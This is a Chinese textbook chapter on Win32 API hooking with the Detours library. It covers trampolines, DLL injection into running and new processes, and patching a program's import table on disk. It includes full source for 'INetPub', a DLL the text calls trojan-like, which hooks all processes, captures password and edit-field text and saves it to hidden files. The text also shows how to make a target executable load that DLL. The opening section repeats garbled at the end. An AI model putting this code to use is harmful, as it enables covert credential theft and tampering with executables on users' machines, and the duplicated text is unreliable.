用Detours实现APIHOOK
Detours是一个软件开发库,它用于实现拦截Win32二进制代码中的API函数。
它使用一个Jmp指令替换了目标函数的前面几个字节,使得控制直接调用实现的
Detours函数。并通过一个trampoline函数保留了原来函数的功能调用。
我们知道,实现APIHOOK主要有两个重要环节,一是如何把代码注入到目标地
址空间,二是如何让自己的代码被调用。
为了让自己的代码注入到应用程序的目标地址空间,首先需要把代码封装到一个
动态链接库中,然后执行下面的步骤之一:
(1)把应用程序和动态链接库连接起来,这需要用户具有程序的目标文件(.obj)。
(2)从磁盘文件上修改应用程序的导入表,使得应用程序启动时强制加载其从来
不会使用的动态链接库。这种方法对于用户自己编码来说,可能是非常困难的一件事
情,好在Detours提供了一组函数,能够达到这个目的,能够强制一个可执行文件强
制加载一个动态链接库,而且一旦完成修改,以后再也不需要引导程序。
(3)调用OpenProcess、VirtualAllocEx、WriteProcessMemory和CreateRemoteThread。
(4)使用Detours拦截CreateProcess()函数,使用CREATE_SUSPENDED标志调用
原trampoline函数,在进程创建时实现DLL到目标进程的注入。
目标二进制文件经过Detours拦截,进程或者进程模块在内存中的映像将发生变
化。如图6-2所示。
Detours使用了一个跳转到Detours函数的跳转指令替换了目标的函数入口指令,
并在实现的Trampoline函数中插入了被替换的指令,Trampolines函数既可以动态分配
和初始化,也可以静态方式实现。实现和调用前后的比较如图6-3、图6-4所示。
例6-3Detours函数的例子。
#include<windows.h>
#include<detours.h>
LONGslept=0;
_declspec(dllexport)DETOUR_TRAMPOLINE(VOIDWINAPIUntimedSleep
(DWORD),Sleep);
_declspec(dllexport)VOIDWINAPITimedSleep(DWORDdwMilliseconds)
{
DWORDbegin=GetTickCount();
UntimedSleep(dwMilliseconds);
InterlockedExchangeAdd(&slept,GetTickCount()–begin);
}
_declspec(dllexport)DWORDWINAPIGetSleptTicks ()
{
returnslept;
}
BOOLWINAPIDllMain(HINSTANCEhinst,DWORDreason,LPVOIDreserved)
{
if(reason==DLL_PROCESS_ATTACH)
DetourFunctionWithTrampo line(UntimedSleep,TimedSleep);
if(reason==DLL_PROCESS_DETACH)
DetourRemoveTrampoline(UntimedSleep);
}
注意:
在下面的场合不能使用Detours:
●不知道目标代码入口地址。
●目标代码少于5个字节,即小于一个Jmp调转指令的字长。
●目标代码的前几个字节包含了分支指令的目标。
Target:
;;;code
JNETarget+2
●不使用x86处理器(不支持alpha处理器和ia64)。
●对于.NETCLR(MSIL)代码也不支持。
另外Detours还支持对成员函数的拦截,比如对GDI+函数的拦截。GDI+是采用
面向对象基于C++平台开发的一个动态链接库。Detours在其提供的PowerPoint幻灯
片文档中提供了拦截类成员函数的代码框架。如图6-5所示。
Detours对COM接口方法的拦截类似于类成员函数。下面是其文档给出的实现代
码,不过这个代码是针对C实现的。
HRESULTSTDCALL(*pfSeekTrampoline)(
IStream*This,
LARGE_INTEGERdlibMove,
DWORDdwOrigin,
ULARGE_INTEGER*plibNewPos);
HRESULTSTDCALLSeekDetour (
IStream*This,
LARGE_INTEGERdlibMove,
DWORDdwOrigin,
ULARGE_INTEGER*plibNewPos)
{
returnpfSeekTrampoline(This,dlibMove,dwOrgin,plibNewPos);
}
voiddetour_member_function(IStream*pi)
{
(*(PBYTE*)pfSeekTrampoline)=DetourFunction(
(PBYTE)pi->lpVtbl->Seek,
(PBYTE)SeekDetour);
};
用户编译这些例子的时候,可能会遇到问题,主要表现在类型指针转换上。为了
实现转换,用户可以使用嵌入汇编语言,实现强制类型转换。
下面给出Detours提供的函数列表:
●静态Trampolines实现
DETOUR_TRAMPOLINE创建一个已知trampoline目标。
DETOUR_TRAMPOLINE_EMPTY创建一个空的trampoline目标。
●Detour函数
DetourFunction分配一个trampoline,实现Detour函数挂接。
DetourFunctionWithTrampo line(Ex)使用trampoline实现函数Detours。
DetourFunctionWithEmptyT rampoline(Ex)Detour函数并设置trampoline。
DetourRemove去除detour。
●Code函数
DetourFindFunction在输出或者符号表中查找函数。
DetourGetFinalCode忽略间接跳转语句。
DetourCopyInstruction(Ex)反汇编指令。
●PE映像或者模块枚举函数
DetourEnumerateModules查找加载到进程中的所有PE映像。
DetourGetEntryPoint查找一个映像的入口地址。
DetourEnumerateExportsFo rModule查找一个映像的所有输出信息。
●Payload函数(payload是Detours在拦截模块中添加的一个节)
DetourFindPayload查找一个指定的payload。
DetourGetSizeOfPayloads得到映像中所有payloads的字节大小。
●DLLInjectionFunctions
DetourCreateProcessWithD ll创建一个新的进程并注入一个动态链接库。
DetourContinueProcessWit hDll把一个动态链接库注入到一个新的进程中。
●异常处理函数
DetourFirstChanceExcepti onFilter对Win32异常过滤进行Detours拦截。
●永久二进制操纵函数
DetourBinaryOpen打开一个PE二进制文件。
DetourBinaryEnumeratePay loads枚举二进制文件中的payloads。
DetourBinaryFindPayload查找指定的payload。
DetourBinarySetPayload设置或者替换一个指定的payload。
DetourBinaryDeletePayloa d删除一个指定的payload。
DetourBinaryPurgePayload s删除二进制中的所有payloads。
DetourBinaryEditImportsM odifythePEbinaryimportta
ble。
DetourBinaryResetImports 复位PE二进制导入地址表。
DetourBinaryWrite把PE映像写入到一个文件中。
DetourBinaryClose关闭PE二进制映像。
DetourBinaryBind使用BindImage绑定二进制映像。
通过上面的函数列表,我们足以了解这个开发包强大的功能,因为很多功能在前
面的章节中都是通过大量代码才能实现的,而这里只需要调用一个函数就可以了。
注意:
(1)所有的Detours函数都可以运行在基于x86平台、WindowsNT内核操作系统
上,包括最新的Windows2003以及未来的Longhorn。Windows9x内核的系统不支持
使用DetourFunction系列函数。除非这个程序是在一个调试器下运行的,即(采用
DEBUG_PROCESS标志调用CreateProcess*函数)。这是因为基于WindowsNT内核的
系统都总是把DLL采用copy-on-write方式把动态链接库映射到目标进程中。而
Windows9x只有在采用DEBUG_PROCESS标志调用CreateProcess*函数的情况下采用
这种方式。
(2)DLL注入的方法不能在Windows9x下使用,因为这里是使用CreateRemoteThread
实现的,Windows9x不支持这个函数调用。
(3)用于添加payloads和修改导入地址表的二进制复写函数,可以运行在所有平
台上,包括Windows95。
(4)在实现一个Detours函数时,必须保证它和目标替换函数在调用规范上完全一致。
(5)当把一个动态链接库使用DetoursDLL导入API函数,把它和一个二进制文
件绑定时,动态链接库必须输出一个函数,其输出序号为1。输出的过程并不被应用
程序调用而只是用作导入目标。
下面给出一个使用Detours的例子,这是在开发防火墙软件中使用的一段代码。
我们知道,开发的应用软件最好能够同时支持两种分辨率,比如800×600和
1024×768,因为这是用户最常用的两种屏幕分辨率。然而编码中会发现在VisualC++
中同时兼顾两种分辨率时,如果通过响应WM_RESIZE非常麻烦。由于应用程序大
部分的界面都是基于对话框实现的,特别是那些嵌入窗体的对话框,实现代码定位,
实在繁琐得要命。于是在程序中设计了两种对话框,分别对应两种分辨率,在程序
启动时动态检测屏幕分辨率,通过拦截DialogBoxParam函数动态替换对话框资源来
实现。
例6-4Detours应用举例。
#include<detours.h>
#pragmacomment(lib,"detours.lib")
BOOLg_bAbsolution800x600=TRUE;
typedefstructtagDLG{
intnDlgIDSmall;
intnDlgIDBig;
}DLG,*PDLG;
DLGg_dlg[]={
{IDD_MONITORPACKETDLG,IDD_MONITORPACKETDLG_BIG},
{IDD_NETSTATDLG,IDD_NETSTATDLG_BIG},
{IDD_DEFAULT_PORT_RULE,IDD_DEFAULT_PORT_RULE_BIG},
…
{IDD_OTHER,IDD_OTHER_BIG}
};
DETOUR_TRAMPOLINE(HWNDWINAPI
Real_CreateDialogParamA(HINSTANCEhInstance,
LPSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam),
CreateDialogParamA);
DETOUR_TRAMPOLINE(HWNDWINAPI
Real_CreateDialogParamW(HINSTANCEhInstance,
LPWSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam),
CreateDialogParamW);
HWNDWINAPIDetour_CreateDialogParamW(HINSTANCEhInstance,
LPWSTRlpTemplateName,
HWNDhWndParent,
DLGPROClpDialogFunc,
LPARAMdwInitParam)
{
try{
if(!g_bAbsolution800x600){
for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
returnReal_CreateDialogParamW(hInstance,
MAKEINTRESOURCEW(g_dlg[i].nDlgIDBig),
hWndParent,lpDialogFunc,dwInitParam);
}
}
}
returnReal_CreateDialogParamW(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
catch(...){
returnReal_CreateDialogParamW(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
}
HWNDWINAPIDetour_CreateDialogParamA(HINSTANCEhInstance,
LPSTRlpTemplateName,HWNDhWndParent,DLGPROClpDialogFunc,LPARAM
dwInitParam)
{
try{
if(!g_bAbsolution800x600){
for(inti=0;i<sizeofg_dlg/sizeofDLG;i++){
if((int)lpTemplateName==g_dlg[i].nDlgIDSmall){
returnReal_CreateDialogParamA(hInstance,
MAKEINTRESOURCE(g_dlg[i].nDlgIDBig),hWndParent,
lpDialogFunc,dwInitParam);
}
}
}
returnReal_CreateDialogParamA(hInstance,
lpTemplateName,hWndParent,lpDialogFunc,dwInitParam);
}
catch(...){
return
Real_CreateDialogParamA(hInstance,lpTemplateName,hWndParent,
lpDialogFunc,dwInitParam);
}
}
在程序入口:
intnWidth=GetSystemMetrics(SM_CXSCREEN);
if(nWidth==1024){
g_bAbsolution800x600=FALSE;
}
DetourFunctionWithTrampo line((PBYTE)Real_CreateDialogParamA,
(PBYTE)Detour_CreateDialogParamA);
DetourFunctionWithTrampo line((PBYTE)Real_CreateDialogParamW,
(PBYTE)Detour_CreateDialogParamW);
程序结束前:
DetourRemove((PBYTE)Real_CreateDialogParamW,
(PBYTE)Detour_CreateDialogParamW);
DetourRemove((PBYTE)Real_CreateDialogParamA,
(PBYTE)Detour_CreateDialogParamA);
从上面的程序可以看出,Trampolines函数既可以静态创建也可以动态创建。使用
静态的Trampolines函数拦截Target函数时,应用程序需要使用DETOUR-
_TRAMPOLINE宏创建Trampolines函数。DETOUR_TRAMPOLINE宏带有两个参数,
静态的Trampolines函数原型和Target函数名。
值得注意的是:Target函数拦截时,Target、Trampoline、Detour函数必须遵循完
全一致的参数约定,即出口和入口参数在个数和对应类型上要求完全匹配。Detour函
数可以根据需要把它的入口参数传递到Trampoline函数,以此调用Target函数。遵循
相同的调用约定,可以保证有关的寄存器能够被正确保存,Detour和Target函数的堆
栈能够保持平衡。
Target函数的拦截可以通过DetourFunctionWithTrampo line函数实现,这个函数有
两个参数,Trampoline和一个指向Detour函数的指针。目标函数Target之所以没有作
为一个参数,是因为它已经编码到Trampoline函数之中。
动态的Trampoline可以通过调用DetourFunction函数实现。这个函数有两个参数,
分别是两个指向Target和Detour函数的指针,DetourFunction可以分配一个新的
Trampoline函数指针变量,然后在Target函数中插入适当的拦截代码。
当Target函数可以作为一个连接符号时,静态Trampoline函数使用非常容易。然
而当Target函数不能作为一个连接符号时,用户可以使用一个动态的Trampoline函数。
通常情况下,可以通过另外的辅助函数获得指向Target函数的指针。当指向Target函数
的指针不易得到时,用户可以使用DetourFindFunction获得该指针。无论这些函数来
自一个已知的dll库,或者是Target函数二进制代码的调试符号。DetourFindFunction函
数接收两个参数,二进制win32文件名和函数名。如果函数执行后找到了Target的符
号,它就会返回一个有效的函数指针,否则返回NULL。DetourFindFunction首先尝
试利用LoadLibrary和GetProcAddressWin32函数定位函数,如果在DLL的函数输出
表中找不到Target,DetourFindFunction就会使用ImageHlp库查找可用的调试符号信
息。返回的函数指针可以作为一个参数传递到DetourFunction函数,用以创建一个动
态的Trampoline函数。
拦截的Target函数可以通过调用DetourRemoveTrampoline函数恢复到拦截前的状态。
值得注意的是,由于Detours库函数修改代码是在进程地址空间进行的,程序员
必须在Detour插入和移去时没有别的线程在运行。显然保证单线程运行最简单的办法
是在DLL的DllMain例程中调用Detours库函数。
动态链接库注入到一个存在进程可以通过下列代码实现。
HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,nProcessId);
//nProcessId运行进程的进程标识
if(hProcess==NULL){
printf("OpenProcess(%d)failed:%d\n",nProcessId,GetLastError());
return2;
}//下面的szDllPath为指定的dll文件路径.
if(!DetourContinueProcessWit hDllA(hProcess,szDllPath)){
printf("DetourContinueProcessWit hDll(%s)failed:%d",szDllPath,
GetLastError());
return3;
}
动态链接库注入到一个新进程可以通过下列代码实现。
STARTUPINFOsi;
PROCESS_INFORMATIONpi;
CHARszCommand[2048];
PCHARpszDLlPath=NULL;
CHARszExe[1024];
Strcpy(szExe,”…..”);//可执行文件名
Strcpy(szCommand,”…..”);//命令行
Strcpy(pszDllPath,”…”);//动态连接库文件名字
ZeroMemory(&si,sizeof(si));
ZeroMemory(&pi,sizeof(pi));
si.cb=sizeof(si);
DWORDdwCreationFlags=(CREATE_DEFAULT_ERROR_MODE);
if(!DetourCreateProcessWithD ll(szFullExe,szCommand,NULL,NULL,TRUE,
dwCreationFlags,NULL,NULL,
& si,&pi,pszDllPath,NULL)){
printf("DetourCreateProcessWithD llfailed:%d\n",GetLastError());
ExitProcess(2);
}
有关Detours修改二进制映像的例子,用户可以参考开发包提供的例子程序setdll。
下面给出这个文件的关键函数,这个函数实现了DLL文件的磁盘注入。
BOOLSetFile(PCHARpszPath)
{
BOOLbGood=TRUE;
HANDLEhOld=INVALID_HANDLE_VALUE;
HANDLEhNew=INVALID_HANDLE_VALUE;
PDETOUR_BINARYpBinary=NULL;
CHARszOrg[MAX_PATH];
CHARszNew[MAX_PATH];
CHARszOld[MAX_PATH];
szOld[0]='\0';
szNew[0]='\0';
strcpy(szOrg,pszPath);
strcpy(szNew,szOrg);
strcat(szNew,"#");
strcpy(szOld,szOrg);
strcat(szOld,"~");
printf("%s:\n",pszPath);
hOld=CreateFile(szOrg,GENERIC_READ,FILE_SHARE_READ,NULL,
OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hOld==INVALID_HANDLE_VALUE){
printf("Couldn'topeninputfile:%s,error:%d\n",szOrg,
GetLastError());
bGood=FALSE;
gotoend;
}
hNew=CreateFile(szNew,GENERIC_WRITE|GENERIC_READ,0,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN,
NULL);
if(hNew==INVALID_HANDLE_VALUE){
printf("Couldn'topenoutputfile:%s,error:%d\n",szNew,
GetLastError());
bGood=FALSE;
gotoend;
}
if((pBinary=DetourBinaryOpen(hOld))==NULL){
printf("DetourBinaryOpenfailed:%d\n",GetLastError());
gotoend;
}
if(hOld!=INVALID_HANDLE_VALUE){
CloseHandle(hOld);
hOld=INVALID_HANDLE_VALUE;
}
{
BOOLbAddedDll=FALSE;
DetourBinaryResetImports (pBinary);
if(!s_fRemove){
if(!DetourBinaryEditImports(pBinary,&bAddedDll,AddBywayCallback,
NULL,NULL,NULL)){
printf("DetourBinaryEditImportsf ailed:%d\n",GetLastError());
}
}
if(!DetourBinaryEditImports(pBinary,NULL,ListBywayCallback,
ListFileCallback,
NULL,NULL)){
printf("DetourBinaryEditImportsf ailed:%d\n",GetLastError());
}
if(!DetourBinaryWrite(pBinary,hNew)){
printf("DetourBinaryWritefailed:%d\n",GetLastError());
bGood=FALSE;
}
DetourBinaryClose(pBinary);
pBinary=NULL;
if(hNew!=INVALID_HANDLE_VALUE){
CloseHandle(hNew);
hNew=INVALID_HANDLE_VALUE;
}
if(bGood){
if(!DetourBinaryBind(szNew,".",".")){
printf("Warning:Couldn'tbindtotracedll:%d\n",GetLastError());
}
if(!DeleteFile(szOld)){
DWORDdwError=GetLastError();
if(dwError!=ERROR_FILE_NOT_FOUND){
printf("Warning:Couldn'tdelete%s:%d\n",szOld,dwError);
bGood=FALSE;
}
}
if(!MoveFile(szOrg,szOld)){
printf("Error:Couldn'tbackup%sto%s:%d\n",szOrg,szOld,
GetLastError());
bGood=FALSE;
}
if(!MoveFile(szNew,szOrg)){
printf("Error:Couldn'tinstall%sas%s:%d\n",szNew,szOrg,
GetLastError());
bGood=FALSE;
}
}
DeleteFile(szNew);
}
end:
if(pBinary){
DetourBinaryClose(pBinary);
pBinary=NULL;
}
if(hNew!=INVALID_HANDLE_VALUE){
CloseHandle(hNew);
hNew=INVALID_HANDLE_VALUE;
}
if(hOld!=INVALID_HANDLE_VALUE){
CloseHandle(hOld);
hOld=INVALID_HANDLE_VALUE;
}
returnbGood;
}
面的这个例子就是基于上面的代码实现的。例子中PasswordDemo.exe是一个普
通的Windows应用程序,它需要验证用户输入的密码。iNetPub类似于一个木马程序,
这个程序是一个动态链接库,这个程序实现了一个消息钩子,在动态链接库初始化的
时候,自己安装了钩子函数。很明显像PasswordDemo.exe这样的Windows应用程序
是从来不会主动调用这个动态链接库的,因为它们之间不存在任何血缘关系。尽管我
们可以采用多种进程间代码注入的办法,但是这种办法都需要一个进程,那么像
RunDll32文件加载一样,用户很容易从开机自启动应用程序列表中把它们摘除,这样
我们精心炮制的木马程序,可能就会像僵尸一样永远不能超生。
我们需要做的工作是能够像病毒一样修改可执行文件,让可执行文件自己加载提
供的动态链接库。这里对可执行文件和动态链接库没有任何要求。动态链接库如果输
出钩子函数,其钩子过程必须以输出函数方式输出。自动加载必须在动态链接库初始
化过程中完成。
PasswordDemo.exe程序的运行界面是这样的,如图6-6所示。
这个程序依赖的动态链接库如图6-7所示,由于这个程序和inetpub没有任何关系,
所以它的运行不需要inetpub.Dll文件。
下面我们运行修改程序(程序运行界面如图6-8所示)对passworddemo文件进行修
改。当我们单击“启动”按钮时,passworddemo.exe所在的目录会自动生成一个
passworddemo.exe文件的备份PasswordDemo.exe~。passworddemo.exe文件是修改过的
文件,它的文件修改日期和大小将发生变化。这时它的运行将依赖位于Windows系统
目录的inetpub.dll文件。即Passworddemo.exe文件运行前会自动加载inetpub.dll文件,
这个文件一旦加载就会自动安装一个全局钩子,对系统中的所有进程进行监视,把用
户输入的所有密码文本保存到Windows目录下的一个文件中。
此时这个程序的运行将离不开inetpub.Dll文件。如图6-9所示。
这个程序还有许多地方可以进行完善,但是已经有了一点木马特征,而且它还可
以做得更隐蔽一些。很明显实现自动化修改可执行文件,也并不困难。
例6-5Dll磁盘文件附加实现。
#include"stdafx.h"
#include<afxdllx.h>
#ifdef_DEBUG
#definenewDEBUG_NEW
#undefTHIS_FILE
staticcharTHIS_FILE[]=__FILE__;
#endif
#include"INetPub.h"
#pragmadata_seg(".sdata")
HHOOKhHookMsg=0;
HHOOKhHookProc=0;
HINSTANCEhinst=0;
HWNDhHandleWnd=0;
intnumbers=0;
intSpyArrayNums=0;
intrandv=0;
CHook*phook=0;
CDWordArraySpyWndList[20];
#pragmadata_seg()
staticAFX_EXTENSION_MODULEINetPubDLL={NULL,NULL};
extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc (int
nCode,WPARAMwParam,LPARAMlParam);
extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc (int
nCode,WPARAMwParam,LPARAMlParam);
BOOLWINAPIHookProc(HWNDhwnd,UINTuiMessage,WPARAMwParam,LPARAM
lParam);
extern"C"intAPIENTRY
DllMain(HINSTANCEhInstance,DWORDdwReason,LPVOIDlpReserved)
{
//RemovethisifyouuselpRese rved
UNREFERENCED_PARAMETER(lpReserved);
if(dwReason==DLL_PROCESS_ATTACH)
{
TRACE0("INetPub.DLLInitializing!\n");
//ExtensionDLLone-timeinitialization
if(!AfxInitExtensionModule(INetPubDLL,hInstance))return0;
numbers++;
if(numbers==1&&phook==0)
{
hinst=hInstance;
randv=GetTickCount()/5000;
phook=newCHook;
phook->HookInstaller();
}
newCDynLinkLibrary(INetPubDLL);
}
elseif(dwReason==DLL_PROCESS_DETACH)
{
TRACE0("INetPub.DLLTerminating!\n");
numbers--;
if(numbers==0&&phook)
{
phook->HookUninstaller();
deletephook;
phook=0;
}
AfxTermExtensionModule(INetPubDLL);
}
return1;//ok
}
CHook::CHook()
{
}
CHook::~CHook()
{
HookUninstaller();
}
BOOLCHook::HookInstaller()
{
if((hHookMsg=SetWindowsHookEx(WH_GETMESSAGE,
CallMsgProc,hinst,0))!=NULL
&& (hHookProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinst,0))
!=NULL)returntrue;
returnfalse;
}
BOOLCHook::HookUninstaller()
{
BOOLbUninstall;
if(hHookMsg)
{
bUninstall=UnhookWindowsHookEx(hHookMsg);
if(bUninstall)
{
hHookMsg=NULL;
bUninstall=UnhookWindowsHookEx(hHookProc);
if(bUninstall)
{
hHandleWnd=NULL;
hHookProc=NULL;
}
}
}
returnbUninstall;
}
voidCHook::SetHandleWindow(HWNDhWnd)
{
hHandleWnd=hWnd;
}
extern"C"_declspec(dllexport)LRESULTWINAPICallMsgProc (int
nCode,WPARAMwParam,LPARAMlParam)
{
PMSGpMsg=(MSG*)lParam;
if(nCode>=0&&pMsg&&pMsg->hwnd)
{
HookProc(pMsg->hwnd,pMsg->message,pMsg->wParam,pMsg->lParam);
}
returnCallNextHookEx(hHookMsg,nCode,wParam,lParam);
}
extern"C"_declspec(dllexport)LRESULTWINAPICallWndProc (int
nCode,WPARAMwParam,LPARAMlParam)
{
PCWPSTRUCTpCwps;
pCwps=(PCWPSTRUCT)lParam;
if(nCode>=0&&pCwps&&pCwps->hwnd)
{
HookProc(pCwps->hwnd,pCwps->message,pCwps->wParam,
pCwps->lParam);
}
returnCallNextHookEx(hHookProc,nCode,wParam,lParam);
}
intWINAPIInSpyList(HWNDhwnd)
{
if(SpyArrayNums)
{
for(inti=0;i<SpyArrayNums;i++)
{
SpyWndList[i];
if(intwndnum=SpyWndList[i].GetSize())
{
for(intj=0;j<wndnum;j++)
if(SpyWndList[i].GetAt(j)==(DWORD)hwnd)returni;
}
}
}
return-1;
}
voidWINAPIAddToSpyList(HWNDhWnd)
{
HWNDhParent;
CWordArrayaarray;
if(hParent=GetParent(hWnd))
{
if(InSpyList(hParent)!=-1)return;
SpyWndList[SpyArrayNums].Add((DWORD)hParent);
}
HWNDsib=::GetWindow(hWnd,GW_HWNDFIRST);
charlpClassName[255];
CStringstrWndClass;
::GetClassName(sib,lpClassName,255);
strWndClass=lpClassName;
//IsthisanEditcontrol
if(0==strWndClass.CompareNoCase("EDIT"))
SpyWndList[SpyArrayNums].Add((DWORD)sib);
while((sib=::GetWindow(sib,GW_HWNDNEXT))!=NULL)
{
::GetClassName(sib,lpClassName,255);
strWndClass=lpClassName;
//IsthisanEditcontrol
if(strWndClass.Find("Edit")!=-1||strWndClass.Find("Text")!=-1)
SpyWndList[SpyArrayNums].Add((DWORD)sib);
}
//SpyWndList[SpyArrayNums];
SpyArrayNums++;
if(SpyArrayNums==21)SpyArrayNums=20;
}
voidWINAPIRemoveFromList (intindex)
{
if(index>=SpyArrayNums)return;
SpyWndList[index].RemoveAll();
for(inti=0;i<SpyArrayNums-index-1;i++)
{
SpyWndList[index+i].Copy(SpyWndList[index+i+1]);
SpyWndList[index+i+1].RemoveAll();
}
SpyArrayNums--;
}
BOOLWINAPIHookProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAM
lParam)
{
charszCaption[100]="\0";
charszTitle[100]="\0";
charclassname[255];
intindexx;
CStringSaveInfo;
if(message&&IsWindow(hwnd))
{
GetClassName(hwnd,classname,255);
LONGstyle=GetWindowLong(hwnd,GWL_STYLE);
CStringstrClass;
switch(message){
caseWM_SETFOCUS:
strClass=classname;
if(!strClass.CompareNoCase("EDIT"))
{
if((style&ES_PASSWORD)&&(InSpyList(hwnd)==-1))AddToSpyList(hwnd);
}
break;
caseWM_DESTROY:
if((indexx=InSpyList(hwnd))!=-1)
{
inti=indexx;
for(intj=0;j<SpyWndList[i].GetSize();j++)
{
HWNDspywin;
spywin=(HWND)SpyWndList[i].GetAt(j);
LONGlStyle=::GetWindowLong(spywin,GWL_STYLE);
if(IsWindow(spywin)&&j==0)
{
charszText[255]="\0";
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(window)"+temp+"\t";
else
if(lStyle&ES_PASSWORD)
{
charszText[255]="\0";
//intl=::GetWindowText(hwnd,szText,sizeof(szText));
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(password)"+temp+"\t";
if(temp.GetLength()==0)returntrue;
}
else
{
charszText[255]="\0";
::SendMessage(spywin,WM_GETTEXT,255,(LPARAM)szText);
CStringtemp=szText;
SaveInfo=SaveInfo+"(edit)"+temp+"\t";
}
}
RemoveFromList(indexx);
time_tnow;
time(&now);
structtm*tmnow;
tmnow=localtime(&now);
char*timenow=asctime(tmnow);
CStringtemp;
temp=timenow;
intstrlen=temp.GetLength();
temp=temp.Left(strlen-1);
SaveInfo=temp+":"+SaveInfo+"\r\n";
charptemppath[255];
GetTempPath(255,ptemppath);
CStringstrFileName;
strFileName.Format("%s",ptemppath);
CStringstrName;
strName.Format("~mps%d.tmp",randv);
strFileName=strFileName+strName;
CStringszTemp;
szTemp.Format("用户的密码已被木马程序保存到一个名叫%s的文件里
",strFileName);
MessageBox(NULL,szTemp,"请注意静态密码并不安全,请您及时更换密
码!",MB_OK+MB_ICONWARNING);
WritePrivateProfileStrin g(timenow,strFileName,SaveInfo,
"Kernel32.ini");
CFilef(LPCTSTR(strFileName),CFile::modeCreate|CFile::modeWrite
|CFile::modeNoTruncate);
f.Seek(0,CFile::end);
intinfolen=SaveInfo.GetLength();
f.Write((LPCTSTR)SaveInfo,infolen);
f.Close();
}
break;
default:
//sprintf(szCaption,"oh,Themousex:%d
y:%d",pMsg->pt.x,pMsg->pt.y);
break;
}
if(IsWindow(hHandleWnd))
{
if(strlen(szCaption)>=1)
SendMessage(hHandleWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
}
}
returntrue;
}
有关APIHOOK实现的方法还有很多,比如采用的某些开发包是源代码共享的,
有些则是收费的。比较好的解决方案还有http://www.codeproject.com网站IvoIvanov
提供的APIhookingrevealed一文和http://www.codeguru.com网站WadeBrainerd提出
的APIHijack-ALibraryforEasyDLLFuncti onHooking以及WeiJunping提出的Hijack
TextoutCallsFromNotepad。
Detours是一个软件开发库,它用于实现拦截Win32二进制代码中的API函数。
它使用一个Jmp指令替换了目标函数的前面几个字节,使得控制直接调用实现的
Detours函数。并通过一个trampoline函数保留了原来函数的功能调用。
我们知道,实现APIHOOK主要有两个重要环节,一是如何把代码注入到目标地
址空间,二是如何让自己的代码被调用。
为了让自己的代码注入到应用程序的目标地址空间,首先需要把代码封装到一个
动态链接库中,然后执行下面的步骤之一:
(1)把应用程序和动态链接库连接起来,这需要用户具有程序的目标文件(.obj)。
(2)从磁盘文件上修改应用程序的导入表,使得应用程序启动时强制加载其从来
不会使用的动态链接库。这种方法对于用户自己编码来说,可能是非常困难的一件事
情,好在Detours提供了一组函数,能够达到这个目的,能够强制一个可执行文件强
制加载一个动态链接库,而且一旦完成修改,以后再也不需要引导程序。
(3)调用OpenProcess、VirtualAllocEx、WriteProcessMemory和CreateRemoteThread。
(4)使用Detours拦截CreateProcess()函数,使用CREATE_SUSPENDED标志调用
原trampoline函数,在进程创建时实现DLL到目标进程的注入。
目标二进制文件经过Detours拦截,进程或者进程模块在内存中的映像将发生变
化。如图6-2所示。
Detours使用了一个跳转到Detours函数的跳转指令替换了目标的函数入口指令,
并在实现的Trampoline函数中插入了被替换的指令,Trampolines函数既可以动态分配
和初始化,也可以静态方式实现。实现和调用前后的比较如图6-3、图6-4所示。
例6-3Detours函数的例子。
#include<windows.h>
#include<detours.h>
LONGslept=0;
_declspec(dllexport)DETOUR_TRAMPOLINE(VOIDWINAPIUntimedSleep
(DWORD),Sleep);
_declspec(dllexport)VOIDWINAPITimedSleep(DWORDdwMilliseconds)
{
DWORDbegin=GetTickCount();
UntimedSleep(dwMilliseconds);
InterlockedExchangeAdd(&slept,GetTickCount()–begin);
}
_declspec(dllexport)DWORDWINAPIGetSleptTicks
{
returnslept;
}
BOOLWINAPIDllMain(HINSTANCEhinst,DWORDreason,LPVOIDreserved)
{
if(reason==DLL_PROCESS_ATTACH)
DetourFunctionWithTrampo
if(reason==DLL_PROCESS_DETACH)
DetourRemoveTrampoline(UntimedSleep);
}
注意:
在下面的场合不能使用Detours:
●不知道目标代码入口地址。
●目标代码少于5个字节,即小于一个Jmp调转指令的字长。
●目标代码的前几个字节包含了分支指令的目标。
Target:
;;;code
JNETarget+2
●不使用x86处理器(不支持alpha处理器和ia64)。
●对于.NETCLR(MSIL)代码也不支持。
另外Detours还支持对成员函数的拦截,比如对GDI+函数的拦截。GDI+是采用
面向对象基于C++平台开发的一个动态链接库。Detours在其提供的PowerPoint幻灯
片文档中提供了拦截类成员函数的代码框架。如图6-5所示。
Detours对COM接口方法的拦截类似于类成员函数。下面是其文档给出的实现代
码,不过这个代码是针对C实现的。
HRESULTSTDCALL(*pfSeekTrampoline)(
IStream*This,
LARGE_INTEGERdlibMove,
DWORDdwOrigin,
ULARGE_INTEGER*plibNewPos);
HRESULTSTDCALLSeekDetour
IStream*This,
LARGE_INTEGERdlibMove,
DWORDdwOrigin,
ULARGE_INTEGER*plibNewPos)
{
returnpfSeekTrampoline(This,dlibMove,dwOrgin,plibNewPos);
}
voiddetour_member_function(IStream*pi)
{
(*(PBYTE*)pfSeekTrampoline)=DetourFunction(
(PBYTE)pi->lpVtbl->Seek,
(PBYTE)SeekDetour);
};
用户编译这些例子的时候,可能会遇到问题,主要表现在类型指针转换上。为了
实现转换,用户可以使用嵌入汇编语言,实现强制类型转换。
下面给出Detours提供的函数列表:
●静态Trampolines实现
DETOUR_TRAMPOLINE创建一个已知trampoline目标。
